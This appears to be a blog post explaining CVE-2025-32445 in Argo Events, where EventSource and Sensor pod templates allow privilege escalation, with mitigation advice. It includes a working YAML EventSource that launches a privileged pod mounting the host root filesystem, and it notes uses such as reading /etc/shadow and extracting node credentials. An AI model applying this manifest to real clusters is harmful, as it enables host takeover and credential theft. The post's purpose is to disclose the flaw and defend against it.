---

Argo Events is a powerful event-driven automation platform for Kubernetes — but until recently, it contained a severe security vulnerability (CVE-2025-32445) that lets attackers break free from standard user controls and seize cluster or even host control. This post walks you through what happened, why it matters, and how an attacker could exploit it, all in a clear, non-technical language, with code to show exactly how the attack works.

What is Argo Events, and What Went Wrong?

Argo Events lets you define Kubernetes "EventSource" and "Sensor" custom resources (CRs). EventSources listen for things happening (say, a file saved in S3, or an HTTP call), and Sensors react to these events by running containers (for example, to trigger a workflow or send a message).

But: the EventSource and Sensor CRs are extremely flexible. They have .spec.template fields that let the user specify basically any Kubernetes Pod spec, including commands, security settings (securityContext), volume mounts, and more. If you're allowed to create or modify these CRs, you can tell Argo to spawn any pod you want — with any privileges you want.

Nobody realized until this bug (CVE-2025-32445) that this flexibility meant a regular Kubernetes user could:

Run containers as root

- Mount host directories (like / or /etc)

Even escape straight onto the Kubernetes node itself

All without being officially given any cluster admin or privileged pod rights.

Example Exploit: From Argo Events User to Cluster Root

Here’s a minimum working code snippet for a Kubernetes EventSource CR that gives us host-level access by mounting the host filesystem.

apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: host-breakout
spec:
  template:
    spec:
      containers:
      - name: exploit
        image: busybox
        command: ["sh", "-c", "sleep 360"]
        volumeMounts:
        - mountPath: /host
          name: hostfs
        securityContext:
          privileged: true
      volumes:
      - name: hostfs
        hostPath:
          path: /
          type: Directory

What happens here?

- This CR tells Argo Events to launch a busybox pod running as privileged, with access to the entire host filesystem (hostPath: /).
- Anyone who can exec into this pod can now change host files, read /etc/shadow, install persistent malware, or extract Kubernetes node credentials.

This is the same level of access as giving a normal user cluster-admin, but without explicitly doing so.

How Serious Is This?

Very serious. The only restriction is that the attacker needs permission to create/modify Argo Events’ EventSource or Sensor CRs. That’s a common permission for workflow developers and not supposed to be as dangerous as cluster admin!

See the official Argo Events docs for the EventSource CRD spec.

Mitigation and Fix

The Argo team has fixed this in Argo Events v1.9.6 (Release Notes). Now, Argo Events validates pod templates, blocks certain dangerous fields, or restricts mounting host paths by default.

Update immediately to v1.9.6 or later

- Review cluster RBAC and limit who can create/modify EventSource and Sensor CRs
- Audit for suspicious EventSources/Sensors that mount host paths or have privileged: true

More References

- Original CVE Entry (CVE-2025-32445)
- Argo Events Security Docs
- Kubernetes Pod Security Best Practices

Conclusion

CVE-2025-32445 is a textbook case of "too much power in custom resources." Always be careful with CRDs that template pods. In open clusters with Argo Events, attackers could become cluster root with just a few YAML lines. Update your Argo Events version now — and restrict EventSource/Sensor creator rights!

If you have more questions or want to know how to hunt for past exploitation, feel free to comment below.

Timeline

Published on: 04/15/2025 20:15:39 UTC
Last modified on: 04/16/2025 13:25:59 UTC